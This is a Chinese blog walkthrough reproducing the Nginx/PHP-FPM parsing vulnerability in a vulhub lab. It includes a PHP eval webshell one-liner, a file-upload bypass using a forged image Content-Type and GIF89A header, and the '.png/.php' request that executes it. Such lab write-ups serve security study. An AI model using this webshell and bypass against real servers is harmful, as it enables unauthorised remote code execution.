当前位置: 首页 > news >正文

Nginx 背锅解析漏洞

Nginx 背锅解析漏洞

文章目录

    • Nginx 背锅解析漏洞
      • 1 在线漏洞解读:
      • 2 环境搭建
      • 3 影响版本:
      • 4 漏洞复现
        • 4.1 访问页面
        • 4.2 上传文件
      • 4.3 上传失败
        • 4.4 使用bp进行分析包
        • 4.5 对返回图片位置进行访问
        • 4.6 执行php代码技巧-图片后缀加`./php`
        • 4.7 分析原因 --》cgi.fix_pathinfo--》on开启后会将png图当成php脚本执行

1 在线漏洞解读:

https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/

在这里插入图片描述

2 环境搭建

cd  /home/kali/vulhub/nginx/nginx_parsing_vulnerability

在这里插入图片描述

启动:

sudo docker-compose up -dsudo docker-compose ps -a
sudo docker ps -a

已启动:访问端口18080

在这里插入图片描述

3 影响版本:

​ 版本信息:

  • Nginx 1.x 最新版
  • PHP 7.x最新版

4 漏洞复现

4.1 访问页面

​ 访问页面http://192.168.225.166:18080/

在这里插入图片描述

4.2 上传文件
<?php @eval($_REQUEST[777]);phpinfo();?>  # 1.php文件内容

在这里插入图片描述

4.3 上传失败

在这里插入图片描述

4.4 使用bp进行分析包

使用bp修改请求参数后缀和内容类型,和内容头类型,发现上传成功,返回上传文件位置

Content-Type: image/pngGIF89A

在这里插入图片描述

4.5 对返回图片位置进行访问
192.168.225.166:18080/uploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png

在这里插入图片描述

4.6 执行php代码技巧-图片后缀加./php
http://192.168.225.166:18080/uploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png/.php

在这里插入图片描述

4.7 分析原因 --》cgi.fix_pathinfo–》on开启后会将png图当成php脚本执行

在这里插入图片描述

http://www.lryc.cn/news/175679.html

相关文章:

  • AI与传统数据库 - ChatGPT风过之后 | 从Duet AI说开来
  • L1-032 Left-pad C++解法
  • Python 用列表实现模拟手机通讯录(简易版)
  • macOS使用官方安装包安装python
  • 如何重装Windows Mirosoft Store
  • 软考高级系统架构设计师系列论文真题七:基于构件的软件开发
  • git rebase 修改中间的commit
  • 登录业务实现 - token登录鉴权
  • 内存对齐--面试常问问题和笔试常考问题
  • 贪心算法-会议室问题
  • 单日 5000 亿行 / 900G 数据接入,TDengine 3.0 在中国地震台网中心的大型应用
  • 【VIM系列】cscope命令
  • Vue的自定义事件(Custom Events):实现组件间通信的强大工具
  • 简易实现通讯录(1.0)
  • CSS笔记——触发式动画Transition、主动式动画Animation、Transfrom 动画、CSS 3D 动画、阴影和滤镜样式
  • 软件测试之Web安全测试详解
  • MYSQL binlog
  • Web 基础概念
  • 谈谈最近招人的感受!
  • 【日常业务开发】Java调用第三方http接口的常用方式
  • 【大数据开发技术】实验04-HDFS文件创建与写入
  • 中国制造让苹果跪服,将再增加一家中国高科技供应商
  • 港卡开户感想(2023-8)
  • 机器学习第十一课--K-Means聚类
  • Java on Azure Tooling 8月更新|以应用程序为中心的视图支持及 Azure 应用服务部署状态改进
  • 论文笔记:ST2Vec: Spatio-Temporal Trajectory SimilarityLearning in Road Networks
  • upload-labs靶场未知后缀名解析漏洞
  • VisualStudio配置opencv
  • 如何通过git指令加入管理者仓库并提交分支(Github Gitee)
  • LuatOS-SOC接口文档(air780E)-- fastlz - FastLZ压缩